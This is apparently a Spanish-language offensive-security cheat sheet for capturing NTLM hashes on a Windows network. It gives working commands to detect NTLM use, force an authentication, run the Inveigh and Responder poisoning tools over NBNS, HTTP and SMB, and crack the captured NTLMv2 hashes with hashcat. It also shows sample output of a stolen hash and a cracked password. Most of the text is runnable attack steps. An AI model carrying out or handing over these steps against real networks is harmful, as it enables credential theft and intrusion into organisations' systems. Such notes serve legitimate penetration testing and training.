Captura de hashes en red

Spoofing & relay attacks

Identificación de uso NTLM

Visualización de eventos

Para identificar si NTLM está en uso, se puede realizar sin necesidad de tener privilegios de admin leyendo los eventos. En el campo de "Paquete de autenticación" se indicará si fue con Kerberos o NTLM:

wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5 /f:text

Sniffing con wireshark

Filtrar por:

ntlmssp

Si no se captura ninguna en el momento de realizarlo, se puede forzar de forma manual con:

net use \\DC01\IPC$ /user:OILCORP\usuario password123

Captura de autenticación

Herramientas

• Inveigh. "Responder" para windows.

• Responder.

Inveigh

Import-Module .\Inveigh.ps1

Invoke-Inveigh -NBNS Y -HTTP Y -SMB Y
Invoke-Inveigh -NBNS Y -HTTP Y -ConsoleOutput Y
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Responder

git clone https://github.com/lgandx/Responder.git
cd Responder

python3 Responder.py -I eth0

Salida esperada:

[SMB] NTLMv2-SSP Client   : 192.168.56.102
[SMB] Username   : XTORMINCORP\jgarcia
[SMB] Hash       : jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...

Cracking

Ejemplo de hashes.txt:

jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF:0101000000000000...

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --force

Salida esperada:

jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...: Password123!

Referencias

• https://www.thehacker.recipes/ad/movement/ntlm/relay